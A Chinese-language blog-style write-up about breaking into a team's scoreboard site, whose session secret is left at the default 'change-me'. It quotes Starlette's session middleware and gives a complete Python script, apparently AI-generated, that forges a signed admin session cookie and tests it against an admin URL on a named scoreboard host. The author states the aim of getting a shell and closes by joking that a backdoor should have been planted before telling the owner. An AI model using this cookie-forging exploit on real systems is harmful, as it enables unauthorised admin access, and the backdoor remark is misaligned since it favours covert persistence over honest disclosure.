积分榜session伪造越权漏洞

战队积分榜的漏洞挖掘

今天和一诺开玩笑说找积分榜的漏洞,结果晚上他真跟我说有,是secret-key的默认值没有修改,于是尝试通过这个漏洞拿下积分榜的shell。

先看源码:

SESSION_SECRET=${SESSION_SECRET:-change-me}

下一步的思路是查看SESSION_SECRET的使用方式:

app.add_middleware(SessionMiddleware, secret_key=SESSION_SECRET)

查看SessionMiddleware:

class SessionMiddleware:
    def __init__(
        self,
        app: ASGIApp,
        secret_key: str | Secret,
        session_cookie: str = "session",
        max_age: int | None = 14 * 24 * 60 * 60,  # 14 days, in seconds
        path: str = "/",
        same_site: Literal["lax", "strict", "none"] = "lax",
        https_only: bool = False,
        domain: str | None = None,
    ) -> None:
        self.app = app
        self.signer = itsdangerous.TimestampSigner(str(secret_key))
        self.session_cookie = session_cookie
        self.max_age = max_age
        self.path = path
        self.security_flags = "httponly; samesite=" + same_site
        if https_only:  # Secure flag can be used with HTTPS only
            self.security_flags += "; secure"
        if domain is not None:
            self.security_flags += f"; domain={domain}"

    async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None:
        if scope["type"] not in ("http", "websocket"):  # pragma: no cover
            await self.app(scope, receive, send)
            return

        connection = HTTPConnection(scope)
        initial_session_was_empty = True

        if self.session_cookie in connection.cookies:
            data = connection.cookies[self.session_cookie].encode("utf-8")
            try:
                data = self.signer.unsign(data, max_age=self.max_age)
                scope["session"] = json.loads(b64decode(data))
                initial_session_was_empty = False
            except BadSignature:
                scope["session"] = {}
        else:
            scope["session"] = {}

        async def send_wrapper(message: Message) -> None:
            if message["type"] == "http.response.start":
                if scope["session"]:
                    # We have session data to persist.
                    data = b64encode(json.dumps(scope["session"]).encode("utf-8"))
                    data = self.signer.sign(data)
                    headers = MutableHeaders(scope=message)
                    header_value = "{session_cookie}={data}; path={path}; {max_age}{security_flags}".format(
                        session_cookie=self.session_cookie,
                        data=data.decode("utf-8"),
                        path=self.path,
                        max_age=f"Max-Age={self.max_age}; " if self.max_age else "",
                        security_flags=self.security_flags,
                    )
                    headers.append("Set-Cookie", header_value)
                elif not initial_session_was_empty:
                    # The session has been cleared.
                    headers = MutableHeaders(scope=message)
                    header_value = "{session_cookie}={data}; path={path}; {expires}{security_flags}".format(
                        session_cookie=self.session_cookie,
                        data="null",
                        path=self.path,
                        expires="expires=Thu, 01 Jan 1970 00:00:00 GMT; ",
                        security_flags=self.security_flags,
                    )
                    headers.append("Set-Cookie", header_value)
            await send(message)

        await self.app(scope, receive, send_wrapper)

有了密钥和加密脚本,接下来就用ai跑一份伪造脚本。

import itsdangerous
import json
import base64
import requests
import urllib3

SECRET_KEY = "change-me"
ADMIN_USER_ID = 1

def forge_admin_cookie(secret_key: str, admin_id: int) -> str:
    """根据给定的密钥和用户ID,生成伪造的会话 Cookie。"""
    print(f"[*] 正在为 user_id: {admin_id} 生成会话...")
    target_session_payload = {"user_id": admin_id}
    signer = itsdangerous.TimestampSigner(secret_key)
    json_payload = json.dumps(target_session_payload).encode('utf-8')
    b64_payload = base64.urlsafe_b64encode(json_payload)
    signed_data = signer.sign(b64_payload)
    forged_cookie_value = signed_data.decode('utf-8')
    print(f"[+] 伪造的 Cookie: session={forged_cookie_value}\n")
    return forged_cookie_value

def attempt_access(target_url: str, cookie_value: str):
    """使用伪造的 Cookie 尝试访问目标 URL。"""
    print(f"[*] 正在尝试以管理员身份访问: {target_url}")
    
    cookies = {"session": cookie_value}
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
    }

    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    try:
        response = requests.get(target_url, cookies=cookies, headers=headers, allow_redirects=False, timeout=10, verify=False)
        
        print("\n--- 响应分析 ---")
        print(f"[+] 响应状态码: {response.status_code}")
        
        if response.status_code == 200:
            response_text = response.text.lower()
            if "admin" in response_text or "dashboard" in response_text or "logout" in response_text or "welcome" in response_text:
                print("成功 响应内容包含管理员关键词。您很可能已获得管理员权限。")
            else:
                print("注意: 状态码为 200,但未检测到明显的管理员关键词。请手动检查响应内容。")
        elif response.status_code in (301, 302, 303, 307):
            redirect_location = response.headers.get("Location", "N/A")
            print(f"失败 服务器重定向至: {redirect_location}")
            if "login" in redirect_location:
                print("   (这通常意味着会话无效,被强制跳转到登录页面)")
        elif response.status_code == 403:
            print("失败 服务器返回 403 Forbidden (禁止访问)。")
        elif response.status_code == 401:
            print("失败 服务器返回 401 Unauthorized (未授权)。")
        else:
            print(f"失败 收到意外的状态码 {response.status_code}。")
            
        print("\n--- 响应内容预览 (前500字符) ---")
        print(response.text[:500])
        print("---------------------------------")

    except requests.exceptions.RequestException as e:
        print(f"\n错误: 请求失败。请检查 URL 和网络连接。")
        print(f"   详细信息: {e}")

if __name__ == "__main__":
    forged_cookie = forge_admin_cookie(SECRET_KEY, ADMIN_USER_ID)
    target = input("[?] 请输入您要测试的完整 URL (例如 https://score.cloudever.top/admin): ")
    if not target.startswith("http"):
        print("错误:请输入包含 http:// 或 https:// 的完整 URL。")
    else:
        attempt_access(target, forged_cookie)

之后的准备抽时间再研究以下。

ps:应该先留个后门再告诉一诺的。。